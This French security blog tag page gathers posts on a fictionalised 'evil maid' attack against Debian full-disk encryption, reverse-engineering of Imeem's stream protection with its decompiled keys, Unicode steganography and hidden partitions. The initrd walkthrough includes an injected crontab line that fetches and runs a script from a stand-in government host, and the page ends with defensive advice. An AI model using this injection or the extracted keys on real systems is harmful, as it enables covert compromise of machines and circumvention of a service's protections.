Skip navigation.

Sign up | Lost password? | Help

devloop :: blog

Blog sur la sécurité informatique, la programmation, Linux et le Web

Posts tagged with "cryptographie"

It's fun to play with the D.M.C.A.

, , ,

Ca fait quelques mois que mes outils pour lire directement sa musique sur le site Imeem ne fonctionnent plus. On tombe à la place sur une espèce de message de répondeur où quatre voix féminines nous informent qu'il faut passer par le site Internet.

J'avais étudié quelques captures réseau pour comprendre ce qu'il cloche sans jamais voir d'où ça pouvait venir, j'ai essayé différentes clés d'API sans meilleur résultat.
En fin de compte il s'avère que Imeem a quelque peu modifié sa fonction non documentée mediaGetStreamInfo. Auparavant un paramêtre "referrer" était passé et pouvait contenir plusieurs valeurs possibles, celle habituelle étant la chaine de caractères "web".

Ce paramêtre a été modifié : à l'ancienne valeur est maintenant accolé un pipe "|" puis une longue chaine de caractères (118 caractères) formatée (à priori) selon l'algorithme utilisé pour les urls des flux.

D'après le code décompilé, Imeem a rajouté une fonction baptisée "authenticateRequest" qui génère un hash MD5 qui sera envoyé au serveur comme variable de referrer.

Les codes Flash décompilés étant généralement à la limite du compréhensible p: j'ai fait le lien grâce au fait que cette fonction utilise une constante nommée "REFERRER_ENCRYPTION_KEY" de type string et de valeur "faad2ae444233f97367cc35da6de80b51767f182".

Dans le code il reste tout de même deux variables dont l'identité reste mystérieuse... l'une semble liée au temps, l'autre est probablement un caractère de délimitation (voire rien du tout).
On remarque si on joue plusieurs titres à la suite, ce referrer "magique" ne change pas même après 10 minutes passées. On trouve dans le code des références à l'heure courante, ce qui laisse supposer qu'un indicatif d'heure (arondi) est utilisé.
Enfin une autre variable constante fait référence au temps : "REFERRER_TIMESTAMP_THRESHOLD" de valeur 30000 (secondes ?)

Pour le moment je n'ai fait que quelques tests rapides. Il faut tout de même que ces deux variables soient assez longues pour que la forme encodée atteigne 118 octets... L'hypothèse qu'un "vrai" referrer (http://bidule...) soit utilisé n'est donc pas exclue :smile:

Bypasser le chiffrement de disque sous Linux

, , , ...

Introduction dramatique

A chaque projet de loi concernant l'Internet ou le téléchargement, on assiste à une véritable foire où les internautes ne cessent de critiquer et de minimiser les mesures techniques proposées par le gouvernement arguant quelles sont inefficaces, onéreuses et difficiles à mettre en place... C'est souvent le cas p:
Mais j'évite de participer aux discussions enflamées sur les forums où chacun y va de sa contre mesure technique... c'est souvent les moins informés qui s'y expriment le plus :D
Si vous avez fait un tour chez un libraire ces derniers temps, vous avez dû remarquer qu'une certaine presse (les magazines sur lesquels on voit une bourrique ou un drapeau noir) joue aussi le jeu à fond et la page de couverture titre à peu près "Toutes les astuces pour pas se faire gauler !" :raider:

Avec la LOPSI 2, le phénomène est exactement le même. Un peu partout sur le web vous lirez que pour empècher l'insertion du fameux mouchard il suffit de chiffrer son disque.
Mais qu'en est-il réellement ?

Scénario improbable

José est un terroriste.
C'est du moins ce que certaines personnes pensent, tellement il est de gauche, tellement il porte la moustache, tellement il est agriculteur, tellement il va pas au MacDo...
En plus il est anti-capitaliste au point de ne pas utiliser un système Microsoft !! C'est sûr, José et un homme dangereux.

D'ailleurs il a installé une Debian Lenny en utilisant les options permettant de chiffrer l'ensemble de ses données.

Le ministre de l'intérieur a décidé que ce serait bien d'avoir un oeil sur ses communications. Malheureusement José communique avec GPG. De plus une exploitation distante pour pénétrer son ordinateur a peu de chances de réussir car il utilise OpenOffice :wink: et met régulièrement son système à jour.

C'est pour cela que le GIPM (Groupe d'Intervention de Pose de Mouchard) s'est vu remettre l'opération.
Mais une fois qu'ils ont obtenu un accès physique à l'ordinateur, le GIPM (mené par l'inspecteur Coudrier) s'aperçoivent que le disque est chiffré !!
L'inspecteur Coudrier trouvera t-il une astuce ? José ira t-il à Quick à défaut de MacDo ?

Chapitre II

Coudrier ne s'avoue pas vaincu. Il a pris soin d'éplucher le manuel d'installation Debian et s'est attardé sur la partie concernant le chiffrement.
A priori ce n'est pas gagné : le disque est préalablement effacé et les données ensuite chiffrés avec des algorithmes solides. Pourtant il a remarqué un détail dans l'article :
Some people may even want to encrypt their whole system. The only exception is the /boot partition which must remain unencrypted, because currently there is no way to load the kernel from an encrypted partition.
En effet, depuis sa vieille galette KnoppixSTD qu'il a lancé sur l'ordinateur, Coudrier a remarqué deux entrées dans /etc/fstab.
La première est la partition /dev/hda1 montée sur /boot au format ext2, de petite taille.
La seconde (/dev/hda2) est marquée de format auto. Son contenu est une suite d'octets inexploitables. Seul quelques chaines au début de la partition semblent indiquer qu'il s'agit d'une partition chiffrée. On peut lire "LUKS aes cbc-essiv:sha256 sha1".

Coudrier monte la partition /boot et liste son contenu : un dossier grub et lost+found ainsi que des fichiers config-2.6.26-2-686, initrd.img-2.6.26-2-686, System.map-2.6.26-2-686 et vmlinuz-2.6.26-2-686.
L'inspecteur n'ayant aucune connaissance en virologie, il laisse de côté le fichier vmlinuz-2.6.26-2-686 et commence à s'intéresser au fichier initrd.img-2.6.26-2-686 :sherlock:

Ce fichier pèse 7Mo et est compressé par gzip. Coudrier le copie sur sa clé USB, le décompresse et obtient une archive au format cpio.
$ cp initrd.img-2.6.26-2-686 /mnt/usbkey/initrd.gz
$ cd /mnt/usbkey
$ gunzip initrd.gz
$ file initrd
initrd: ASCII cpio archive (SVR4 with no CRC)

Une recherche sur Google depuis une autre machine l'amène à une page sur les étapes du boot Linux et une autre sur la manipulation d'un fichier initrd.

Avec la première page, il apprend que la partition racine est montée après le lancement de initrd. Pourtant dans la section initrd on peut lire "'real' root is mounted"... étrange.
L'inspecteur n'a pas toute la journée : il tente sa chance.

En listant le contenu du initrd (cpio -itv < initrd) il observe des fichiers qui ne lui sont pas utiles comme des modules kernel ou des binaires statiques et strippés.
Il y a aussi un dossier "scripts" dont le contenu est le suivant :
scripts/nfs
scripts/local
scripts/init-premount
scripts/init-premount/udev
scripts/init-premount/blacklist
scripts/init-premount/thermal
scripts/local-top
scripts/local-top/lvm2
scripts/local-top/cryptopensc
scripts/local-top/lvm
scripts/local-top/cryptroot
scripts/local-bottom
scripts/local-bottom/cryptopensc
scripts/local-premount
scripts/local-premount/resume
scripts/init-top
scripts/init-top/keymap
scripts/init-top/framebuffer
scripts/init-top/all_generic_ide
scripts/functions
scripts/init-bottom
scripts/init-bottom/udev

Il décide d'approfondir et extrait (cpio -iv < initrd) les fichiers de l'archive cpio. Dans le fichier scripts/local il trouve une fonction baptisée "mountroot" qui contient la ligne suivante :
mount ${roflag} -t ${FSTYPE} ${ROOTFLAGS} ${ROOT} ${rootmnt}

Il décide d'ajouter juste derrière la ligne
echo "0 * * * *  root  cd /dev/shm && wget http://lopsi.interieur.gov/mouchard.sh && chmod +x mouchard.sh && ./mouchard.sh" > ${rootmnt}/etc/crontab

Coudrier regénère l'archive cpio avec ses modifications (find * | cpio -o -H newc > ../new_initrd) et la recompresse (gzip -9 new_initrd) avant d'écraser l'ancienne version.
Il lance un sync, démonte les partions, retire sa galette et éteint la machine. Mission accomplished :cool:

Fin

Au prochain démarrage de son ordinateur, José rentre sa passphrase qui lui permet de déchiffrer les disques. Il ne sait pas qu'il a malgré lui permis à la commande de Coudrier de s'exécuter sur la partition tout juste déchiffrée...

Conclusion

Bien que très efficace, le système de chiffrement de disque a quelques lacunes puisqu'un programme peut être injecté sur la partition /boot pour s'exécuter une fois que vous aurez autorisé le déchiffrement des partitions.
Pour se protéger d'une telle attaque il faudrait désactiver le boot sur périphériques CD ou USB dans le bios et protéger ce dernier par un mot de passe. Un cadenas physique empéchant le retrait du disque ou le vidage de la mémoire BIOS est aussi important.

Notes

Comme indiqué dans cette fiction-réalité, j'ai effectué mes tests sur une Debian Lenny en sélectionnant le chiffrement total dans l'installeur.
Les commandes que l'on peut insérer dans les scripts extrait du initrd sont limitées aux commandes du shell ainsi qu'aux exécutables (peu nombreux) présents dans l'archive. Impossible donc d'y lancer directement un programme comme wget.
La commande que j'ai injecté durant mes tests créait uniquement un fichier dans /etc que l'on retrouvait une fois loggé sur le système et après avoir saisi la passphrase. L'entrée crontab de l'article est juste là pour faire plus l33t :ninja:

Stéganographie et Unicode (UTF-8)

, , , ...

Mise en bouche

Jetez un oeil à ce texte, extrait d'une page Wikipedia :

The frequency of letters in text has often been studied for use in cryptography, and frequency analysis in particular. No exact letter frequency distribution underlies a given language, since all writers write slightly differently. Linotype machines sorted the letters' frequencies as etaoin shrdlu cmfwyp vbgkqj xz based on the experience and custom of manual compositors.

Et maintenant jetez un autre oeil au texte suivant :

Thе frequеncy of lettеrѕ in tеxt Һas oftеn beеn studіed for uѕe in сryptogrарhу, and freqυеncy analуѕis in pаrticular. Νо eхасt lettеr frequеncy dіstribution underlies a given language, since all writers write slightly differently. Linotype machines sorted the letters' frequencies as etaoin shrdlu cmfwyp vbgkqj xz based on the experience and custom of manual compositors.

Vous semblent-ils différents ? Peut-être avez vous remarqué une particularité dans l'un des texte... car l'un d'entre eux contient un message secret :sherlock:
Jeter un coup d'oeil au code HTML de cette page vous donnera certainement un indice, pourtant j'aurais très bien pu vous montrer deux textes bruts (plain text) et vous n'aurez pas forcément remarqué plus de particularités.

L'unicode : qu'est-ce que c'est et pourquoi on nous emmerde avec

L'unicode est une norme de codage des caractères destinée à être utilisée massivement pour rassembler et remplacer les normes existantes de différents pays.
On pourrait représenter l'unicode comme une énorme table de corresponde entre les caractères et leurs valeurs informatique comme on peut en trouver pour l'ASCII.
Pendant longtemps, chacun y allait de sa norme de codage des caractères : ASCII et ISO 8859-1 pour les occidentaux, le Big5 pour les chinois, le KOI8-U pour les russes, le Shift-JIS ou encore le ISO 2022 pour les japonais.
On peut imaginer que cette diversité de normes n'arrange pas les développeurs qui souhaitent rendre leurs logiciels accessibles au plus de personnes possibles, quelque soit leur langue.

Unicode se "décline" en plusieurs formats : UTF-8, UTF-16 et UTF-32.
Il y a aussi l'UTF-7 utilisé par des protocoles d'envoi de courrier et on parle de UTF-5 ou d'UTF-6, chacun ayant pour spécificité d'être compatible avec "alphabet" prédéfini comme ceux (limités) utilisés pour composer une adresse email ou un nom de domaine.
Le nombre situé derrière les caractères UTF correspond au nombre de bits minimum nécessaire pour l'encodage d'un caractère.

Le format dont cet article parlera sera l'UTF-8 qui est principalement utilisé par nous autre européens ou américains.
Ce format là a en effet le grand avantage d'être rétro-compatible avec l'ASCII, c'est à dire que la plupart des caractères que l'on utilise sont encodés sur un octet, exactement comme ils l'étaient auparavant :up:
Ce "miracle" tient sur le fait que l'UTF-8 utilise les premiers bits de chaque octet pour déterminer s'il a affaire à nos bons vieux caractères où s'il doit chercher dans des tables plus exotiques.
Ainsi notre petit "a" sera codé 0x61 en hexa comme c'était le cas en ASCII mais le "à" avec accent tiendra sur deux caractères et se codera 0xC3A0.
La page Wikipedia sur l'UTF-8 montre quels bits sont utilisés sur chaque octet.

L'UTF-8 est donc, comme d'autres formats d'unicode, extensible. Comme dit sur cette page, on pourrait qualifier le format UTF-8 de raciste : quand nos caractères sont encodés sur un ou deux octets, les thaïlandais ou les koréens ont droit à 3 octets par caractère ! nervous
Pas de quoi les motiver à utiliser UTF-8, heureusement l'UTF-16 et l'UTF-32 mettent tout le monde à un niveau d'égalité (toutefois l'UTF-32 prend comme son nom l'indique 4 octets par caractère :frown: )

UTF-8 : représentation, encodage et décodage en Python...

Quand on veut nommer un caractère en unicode, on utilise généralement la forme "U+XXXX""XXXX" est un nombre hexadécimal dont la taille peut varier.
Pour "fouiller" dans l'unicode, il y a trois sites quasi-indispensables :
decodeunicode.org : une mine d'or à l'interface soignée.
FileFormat.Info : très pratique, le sites offrent aussi des ressources en dehors d'unicode
Unicode.org : le site officiel avec les tables de caratères au format PDF.
Unimap (unipad.org) : assez simple mais efficace.

Si vous programmez, vous vous êtes peut-être déjà arraché les cheveux devant des problèmes de mauvais encodages. Mon expérience m'a montré que le mieux est encore d'aller à la source et de corriger directement le mauvais caractère (par exemple dans une page html) au lieu de tenter de le convertir/corriger.
Je vous donne tout de même quelques commandes pratiques en Python pour jouer avec les caractères unicode :smile:

Définissons un caractère s dont la valeur est "é" et observons son type :
>>> s='é'
>>> type(s), repr(s)
(<type 'str'>, "'\\xc3\\xa9'")

s est un caractère "brut" : c'est un type 'str' et non unicode. On voit toutefois qu'il est codé sur deux octets, il est donc bien au format UTF-8 mais n'offre pas les avantages de la classe unicode.
Transformons ce caratère au type unicode :
>>> u=unicode(s,"UTF-8")
>>> type(u), repr(u)
(<type 'unicode'>, "u'\\xe9'")

Le caractère unicode auquel on a à faire est donc le U+00E9.
Renseignons nous sur ce caractère :
>>> import unicodedata
>>> unicodedata.name(u)
'LATIN SMALL LETTER E WITH ACUTE'
>>> unicodedata.lookup('LATIN SMALL LETTER E WITH ACUTE')
u'\xe9'

Le type python unicode ne permet pas de tout faire, on pourrait le qualifier de "virtuel". On est obligé de le mettre en "dur" (l'encoder) pour effectuer certaines opérations comme écrire dans un fichier.
>>> u.encode("UTF-8")
'\xc3\xa9'

D'autres commandes pratiques :
>>> ord(u)
233
>>> unichr(233)
u'\xe9'
>>> u.encode('ascii', 'xmlcharrefreplace')
'é'

UTF-8 et stéganographie

L'idée d'utiliser l'unicode pour dissimuler des données m'est venue en me demandant s'il y avait pas plusieurs façons d'encoder le même caractère :idea: Après tout, chaque format (ASCII, UTF-8, UTF-16...) offre différents encodages pour un même caractère alors pourquoi pas le même caractère dans un même format ? Avec deux encodages possibles on peut donc glisser un bit (valeur 0 pour un encodage, valeur 1 pour le second).
Mes recherches sur Internet m'ont montré que non seulement je n'étais pas le seul à y avoir pensé mais en plus certains l'avaient déjà implémenté. Je n'invente donc rien mais je vous fournis les techniques utilisées.

La première technique est proposée par MockingEye et son implémentation unisteg.py.
Elle se base sur les diacritiques. Typiquement ce sont les accents et cédilles qui peuvent être attachés à un caractère.

Si vous vous rendez sur le bloc des diacritiques sur decodeunicode.org, vous verrez tout de suite de quoi je veux parler :smile:
Unicode permet donc d'encoder de deux façons différentes nos lettres à accent. Soit sous leur forme fixe (le "é") soit sous une forme combinée (la lettre "e" combinée avec le diacritique de l'accent aigue).
Le passage de la forme composée à la forme décomposée (et vice-versa) peut se faire par la fonction normalize de la librairie unicodedata en python :
>>> unicodedata.normalize("NFD",u)
u'e\u0301'
>>> unicodedata.normalize("NFC",u'e\u0301')
u'\xe9'
>>> unicodedata.normalize("NFD",u).encode("UTF-8")
'e\xcc\x81'

On remarque que le diacritique ne précéde pas le caractère mais le suit. Pour faire simple :
e combining diacritical

La seconde méthode est proposée par Antonio Alcorn. Elle est implémentée en PHP mais le code source n'est pas disponible. Toutefois en analysant le résultat on se rend compte que la technique se base sur l'utilisation de caractères différents mais visuellement très proche.
Par exemple, notre "e" est très proche du petit IE cyrillique.
Les caractères cyrilliques sont plus bruts que nos caractères et sont généralement représentés sans serif (voir empattement). En fonction de la police utilisée pour afficher les caractères, on ne verra donc pas la différence. On se servira pour ce faire d'une police sans-serif comme Arial.
Dans le second texte au début de cet article, vous avez peut-être remarqué que le "h" de "has" était plus large. C'est tout simplement parce qu'il s'agit du caractère cyrillique SHHA (U+04BA).

Ayant créé moi même mes outils de stéganographie UTF-8 (voir çi-dessous), la recherche des caractères similaires m'a pris un bon moment. J'ai rassemblé ça dans ce fichier.
Les caractères où la différence n'est pas visible (avec la bonne police) sont placés directement. Ceux où l'on peut se laisser prendre sont entre parenthèses avec le signe + accolé. Ceux entre parenthèses ressemblent d'assez loin.

utf8hide et utf8reveal

utf8hide.py permet comme son nom l'indique de cacher des données dans un texte.
Il demande deux arguments : le fichier dont il faut cacher le contenu et un fichier texte au format ISO-8859-1 au ASCII. Un troisème argument ("html") peut être passé si on souhaite ensuite injecter le résultat dans une page web.
J'ai repris l'idée de l'implémentation PHP qui propose d'utiliser seulement 5 bits pour coder un caractère à cacher en la poussant plus loin et sans les limitations.
Le programme fait une analyse du fichier à dissimuler et détermine le plus petit nombre de bits nécessaire pour coder un octet. Si le message secret est court, il défini un charset (alphabet) lui permettant ainsi de "comprimer" un octet sur seulement quelques bits (3, 4, 5, 6). Au-delà, le charset serait trop gros et le programme préfère utiliser les codes habituels des caractères.

Le résultat obtenu est placé dans le fichier out.txt. L'affichage donne le nombre de bits pour un octet (nbit), le charset utilisé et la taille du fichier secret. Il faut conserver ces paramêtres pour l'opération inverse.

Un peu à l'instar de ThumbStego qui nécessitait une image et sa signature, utf8reveal.py a besoin du texte ascii/iso8859 qui a servi à dissimuler le fichier et la version UTF-8 dans laquelle sont cachées les données.
On lui passe aussi en argument les variables vues plus tôt et le programme recréé le fichier secret dans "secret.xxx".

Les deux programmes affichent les bits à l'écran (0 ou 1) ce qui peut-être ennuyeux pour les gros fichiers... mais une telle utilisation est à éviter.
En effet, le programme a beau compresser comme il peut les données en entrées et utiliser la méthode des diacritiques ainsi que celle des ressemblances entre caractères, tous les caractères ne sont malheureusement pas exploitables. Le programme passe alors aux caractères suivant jusqu'à tomber sur un caractère exploitable. Le ratio est donc bien plus faible que 1/8ème mais c'est suffisant pour y passer quelques mots :smile:

Arghhh

J'ai eu la peur de ma vie (c'est quelque peu exagéré) en développant le code. En voulant recopier mes scripts vers un répertoire de sauvegarde, j'ai bêtement tapé "rm -r" au lieu de "cp", supprimant ainsi les codes et le répertoire de sauvegarde :cry:
A défaut de faire n'importe quoi, je me suis félicité d'avoir quelques connaissances en inforensique, ce qui m'a permis d'extraire le code de la partition :D Pourtant comme le code fait plus de 4096 octets, il était sur deux blocs mémoire et sur du ext3... merci à grep, dd et hexdump :rolleyes:

Imeem.com Python Crypto API

, , ,

C'est après un brin d'analyse, un peu d'aide :smile: et une bonne quantité de neuronnes explosés sur le développement que je suis parvenu au même résultat que pour Anywhere.FM, c'est à dire pouvoir accèder directement aux flux audios sans avoir à passer par l'interface web "flash powered" du site.

Contrairement à Anywhere.FM où la difficultée se trouvait dans l'utilisation du protocole AMF et l'absence d'API, pour Imeem il fallait se concentrer sur l'analyse du lecteur audio en Flash présent sur le site.

Après avoir testé sans succès différents décompileurs (limitations génantes et/ou bugs divers) on m'a finalement donné un code satisfaisant décompilé à l'aide d'un logiciel de Eltima en version d'évaluation.
Dans les sources obtenues ont pouvait lire les fonctions cryptographiques utilisées par le site ainsi que la clé de chiffrement.

En effet, même si le fonctionnement du site ne semble pas correspondre à ce que l'on appelle un DRM, il y a toutefois des protections diverses pour empêcher le téléchargement en masse des titres proposés sur la plateforme.
Tout se concentre sur l'utilisation d'urls à usage unique qui sont générées par les fonctions cryptographiques du Flash ainsi que les variables de chiffrement fournies par la fonction non documentée "mediaGetStreamInfo" de l'API.

Les conversions de données
A l'aide des variables obtenues par la fonction mediaGetStreamInfo, on génère une chaine de caractère représentant un objet JSON que l'on passe à la moulinette à la fonction encrypt avec la clé secrète trouvée par décompilation.
Bizarrement, cette clé n'est pas la même dans deux fichiers SWF analysés sur le site. Sur l'un la clé est "Your mom is a whore.", sur l'autre il s'agit de "I:NTnd7;+)WK?[:@S2ov". Ma première tentative réussie s'étant fait avec cette seconde clé, je l'ai ensuite conservé pour le reste des opérations.

L'API cryptographique considère 3 types de données qui sont autant d'étapes à un chiffrement/déchiffrement :
  • str : il s'agit d'une chaine de caractères simple. C'est l'état du JSON passé à encrypt
  • bytes : il s'agit d'un tableau d'octets, représentation d'une chaine de caractères (utilisation de la fonction ord())
  • blocks ou binary : un tableau d'entiers de 4 octets qui sont juste une représentation des tableaux d'octets précédents.
  • ascii : une chaine de caractères générée à partir des blocks précédents

Le passage de Blocks à Ascii ce fait de la façon suivante :
  1. On prend 3 blocks : 3x4 octets soit 24 bits
  2. On les accole et on découpe le résultat en morceaux de 6 bits, soit 4 morceaux de 6 bits
  3. Chacun des quatres morceaux représente un chiffre (de 0 à 63) qui est utilisé comme index dans une chaine de caractères prédéfinie composée de lettres minuscules et majuscules, des numéros, du tiret et de l'underscore

Le chiffrement
Le chiffrement consiste d'abord à convertir le JSON et la clé en blocks qui sont alors chiffrés par l'algorithme XTEA qui est une amélioration du TEA
Le tableau de blocks obtenu est finalement converti en représentation Ascii en suivant l'opération décrite précédemment.
Cette chaine de caractère est une partie de l'URL où on pourra accèder à la ressource (précédée du nom du serveur et du path indiqués dans le JSON et terminée par l'extension .flv)

L'implémentation
L'implémentation m'a posé différents problèmes dus en partie au typage des données en Python. Ce dernier intégre la notion de débordement des entiers, ainsi un chiffre sera passé de int à long de façon invisble au développeur si la donnée dépasse ses limites.
Un exemple concret est le décalage de bits sur la gauche. Si on considère l'entier sur 32 bits 0xFF0000F0, un décalage de 8 bits vers la gauche générerait en C le chiffre 0xF0000F00 : le F du début est supprimé.
Un Python le déclage se produit mais la donnée est passée sur 64 bits et le F est donc conservé :frown:
J'ai du alors implémenter une fonction "SHL" ainsi qu'une fonction "USHR" (unsigned right shift) que le langage Python ne fournit pas :
  def USHR(self,n,d):
    if n>=0:
      return n>>d
    else:
      return (n>>d)&(0xffffffff>>d)

  def SHL(self,n,d):
    mask=n&(0xffffffff>>d)
    return mask<<d

Pour éviter les débordements sur les opérations arithmétiques, j'ai eu recours à la librairie NumPy (présente dans les dépôts Packman sous openSUSE) qui permet d'utiliser des "uint32".

Dans l'archive imeem_crypto.zip vous trouverez :

Notez qu'une personne non-enregistrée sur le site n'accède qu'à des URLs qui correspondent aux extraits musicaux et non aux morceaux complets.
Mon implémentation cryptographique en Python est aussi visible ici avec coloration syntaxique :smile:
Il ne me reste plus qu'à me recoder un lecteur audio pour profiter de ma musique présente sur le site.

Enregistrer les vidéos de M6Replay Béta sous Windows c'est possible

, , , ...

J'étais désespéremment à la recherche d'une spécification qui aurait pû m'en apprendre sur le protocole RTMPE utilisé par la Béta de M6Replay, en particulier sur la couche de cryptage, quand je suis finalement tombé sur un blog parlant d'un logiciel qui avait réussi à casser cette protection.

Ca m'a finalement amené à cette discussion sur le forum d'Adobe, puis au fameux logiciel ainsi qu'à un article sur le sujet sur Slashdot.

Après essai de Replay Media Catcher, il s'avère que effectivement ça fonctionne, entre autres sur M6Replay Béta.
Bien sûr, aucune information n'est disponible sur le fonctionnement du logiciel mais il doit utiliser à priori une attaque de type MITM, se faisant passer auprès du plugin Flash comme le serveur de streaming avant de renvoyer le flux réencodé par ses soins vers le véritable serveur. Bref il doit agir comme un proxy.
Le logiciel ne se sert pas de modules Internet Explorer, ni de la librairie pcap. Il n'y a donc pas, à la différence des logiciels concurrents, de sniffing. Le protocole RTMPE n'est donc pas "cassé", ce sont juste les développeurs de Replay Media Catcher qui ont trouvé puis implémenté la bonne astuce :smile:

Face à tout ça, Adobe a rajouté une clarification dans un document sur son Flash Media Server (pdf).

Et moi je n'ai trouvé aucune information intéressante sur le RTMPE... la magie des logiciels propriétaires :frown:


Ci-dessus, le fameux logiciel en action.

Inforensique en vrac

, , , ...

C'est la classe : ma solution du challenge DFRWS 2008 a été citée sur le Computer Forensic Blog.

Mais ce n'est rien comparé au travail des développeurs de Volatility sur l'analyse de la mémoire des systèmes Linux.
Ils ont apporté des modifications à un outil de RedHat nommé Crash qui permet ainsi d'extraire de l'image de la mémoire la liste des processus, fichiers ouverts, connexions en cours, points de montages utilisés et bien plus encore.

Ils ont ensuite amélioré Volatility pour qu'il gère les images de mémoire physique Linux.
On retrouve les fonctionnalités qui ont été ajoutées à Crash ainsi que des possibilités supplémentaires pour extraire certains éléments de la mémoire : mémoire d'un processus particulier, paquets réseau...
Cela leur a par exemple permis de retrouver la communication FTP que je n'ai pas trouvé durant ma recherche :smile:

Volatility peut aussi être utilisé comme module dans PyFlag et au vue des captures d'écran ça a l'air impressionant ^_^


Changeons de sujet avec cet article de Dark Reading qui nous apprend que Bruce Schneier et un groupe de chercheurs auraient réussi à détecter la présence des systèmes de fichiers cachés par TrueCrypt.
Je m'attendais à lire des révélations croustillantes sur un oubli d'implémentation ou une faiblesse cryptographique, en réalité ils se sont seulement basés sur les traces d'accès laissés sur un système Windows qui montraient l'existence de fichiers sur une partition qui n'apparait pas dans la table des partitions.
Ils se sont notamment basés sur l'analyse des fichiers .lnk et des listes MRU (Most Recently Used) présentes dans le registre de Windows.

Je trouve que l'équation
présence des exécutables TrueCrypt + preuve de l'existence d'une partition qui n'y est plus = preuve de l'existence d'une partition cachée
est un peu rapide et est loin d'être fiable.
C'est ce que j'ai tendance à appeler le "principe de l'entourloupe", à savoir bien que ces outils soient utiles, leur simple présence génère la suspicion chez la personne qui analyse le système. C'est pour cela que je regarde toujours avec un peu de recul le principe du déni plausible.

C'est en particulier vrai avec des outils spécialisés comme Stegeek, 2c2, 4C ou encore Elettra paru dans le dernier Phrack.
Ca me parait moins vrai pour les partitions cachées, surtout que la technique utilisée dans l'article n'est pas liée à TrueCrypt et pourrait même déjouer une méthode faite maison. Bref la faille n'est pas dans TrueCrypt mais plus du côté de l'utilisateur qui devrait prendre différentes mesures pour dissimuler son activité (et s'il utilise TrueCrypt il doit bien être capable de le faire p: )

ThumbStego

, , , ...

Je viens de tester ThumbStego (pour "Thumbnail Steganography"), un nouvel outil permettant de dissimuler des données dans des images.
Jusque là, rien de bien nouveau, il existe un tas d'outils qui permettent de cacher de l'information dans des images. Là où ce logiciel se démarque des autres c'est que contrairement à la majorité (et pngstego dont j'avais parlé en fait partie), ThumbStego ne se base pas sur la méthode LSB qui consiste à utiliser le bit de poids faible de chaque octet.

La description du logiciel, telle que trouvée sur PacketStorm, est la suivante :

Thumbnail steganography creates a thumbnail from a source image and stores data in it by altering the color channels. To decipher the data, a new thumbnail is made from the original image and the differences between the pixels are calculated. This is intended to increase complexity of automated deciphering of images containing extra (steganographied) data. It requires both the original and the thumbnail to decipher. The original works like a key to unlock the thumbnail.

Je ne saurais pas expliquer en détail le fonctionnement de cet outil, les courageux se pencheront vers les sources en Java. Ce qu'il faut retenir c'est principalement la génération d'une image miniature de l'originale, créée de façon à ce que l'originale ait un rôle de masque pour extraire les données cachées :smile:

Pour utiliser le logiciel, vous aurez besoin d'une version récente de Java sans quoi un message d'erreur de version vous jette, ou alors vous devrez recompiler le programme. De mon côté j'ai opté pour la première solution et ait installé la version 1.6 de Java (j'avais la 1.5).
Armé d'une image et d'un fichier texte, le me suis placé dans le répertoire bin (une fois l'archive de ThumbStego décompressée) et ait tappé la commande suivante :
java -cp . tstego/TStego E sdreams.jpg out.png 17941-8.txt S

Ceci m'a généré l'image miniature out.png... à la regarder avec un éditeur hexadécimal, rien ne se laisse deviner que ce fichier cache des données à sa façon.

L'image et sa miniature :


Pour extraire les données :
java -cp . tstego/TStego D sdreams.jpg out.png secret.txt

Et on découvre alors qu'une vingtaine de fables de La Fontaine y étaient dissimulées :smile:

Pour résumer ThumbStego utilise un concept très intéressant et comble du bonheur offre un ratio qui a l'air pas mauvais du tout.
Certes je n'ai pas fait de calcul, mais l'option S permet de générer une miniature la plus petite possible en prenant en compte la quantité de données à cacher. Avec une miniature réduite de seulement 1%, il est évident que le ratio est bien plus intéressant qu'avec les outils standards.
Rien que dans mon exemple, le texte fait environ 29% de la taille de la miniature en étant loin de forcer les capacités du soft... avec d'autres outils on aurait eu un ratio de 12.5% (1/8 pour le LSB).
On regrette juste que le logiciel soit un peu lent (de grosses boucles dans le code) et un peu casse-tête à lancer (sous la forme d'un jar ce serais parfait).
Dans tous les cas, à garder sous la main :smile:

Mise à jour: les nouvelles versions sont maintenant sous la forme d'un jar avec une interface graphique :smile:

En vrac

, , , ...

User-Friendly.org a fêté ses 10 ans hier. Ce comic-strip en ligne dont j'avais déjà parlé est mis à jour quotidiennement. Donc chapeau bas et longue vie à UF :smile:

Le NIST et la NSA derrière un standard de cryptographie backdooré ? Deux cryptographes se sont penchés sur un standard de génération aléatoire de nombres qui avait été demandé par la NSA et approuvé par le NIST. Ils ont relevé la présence de constantes dans l'algorithme "Dual_EC_DRBG" auxquelles pourraient bien correspondre d'autres constantes tenues secrètes qui permettrait à l'entité les possèdant de casser la sécurité de ce standard. Bruce Schneier en parle aussi.

Le dernier album de The Hives, "The Black and White Album"... il déchire tout :headbang:

J'en ai longtemps révé... et ça va se réaliser :yes:
Tim Burton va faire une adaption ciné d'Alice in Wonderland !!!
D'après Wikipedia :

In November 2007, Burton signed a deal with Disney to direct two 3-D films. The first will be an motion capture adaptation of Alice in Wonderland, which will finish filming by May 2008.


Vous pouvez aussi retrouver devloop :: blog sur archive.org

Créez une partition cachée sous Linux

, , , ...

Les systèmes d'exploitation les plus utilisés proposent tous à l'heure actuelle des solutions pour chiffrer les partitions ou l'ensemble d'un disque.
L'inconvénient de ces systèmes est que la présence des données chiffrées est généralement bien visible, par exemple par le biais d'un fichier de montage (/etc/crypttab ou /etc/cryptotab sous openSUSE) et de la table des partitions permettant au système de savoir avec quel algorithme il doit déchiffrer les partitions chiffrées et sur quelle partie du disque.

Dans cet article je vais vous expliquer comment mettre en place une partition cachée qui ne sera visible ni dans la table des partitions ni décrite dans un fichier de configuration.
A l'heure actuelle, TrueCrypt propose un système de ce type mais nous utiliserons ici une méthode plus basique en nous servant de la commande losetup pour la gestion des périphériques de boucle (/dev/loop*) et de cryptsetup qui permet créer des volumes dm-crypt.

Le principe est le suivant : sur un disque dur nous allons créer une partition visible qui prendra la moitié de l'espace. Ensuite sur le reste de l'espace (tout l'espace libre restant) nous placerons notre partition chiffrée :smile:

Créer une partition cachée sur un disque dur

Dans l'exemple qui suit le disque fait une taille de 50Mo. La partition visible fera 20Mo, le reste sera pris par notre partition secrète. A vous d'adapter les commandes en fonction de votre disque et des systèmes de fichiers que vous désirez.

On partitionne le disque à l'aide de cfdisk pour créer notre partition de 20Mo. Il est important que cette partition soit placée au début du disque :
cfdisk /dev/hda1

On récupère l'adresse de la fin de cette partition (en octets) à l'aide de la commande parted :
parted /dev/hda unit B print

Dans mon cas, la fin de la partition est à l'offset 16450559. Nous fixerons alors le début de notre partiton cachée à 16450600 (arrondir au supérieur).
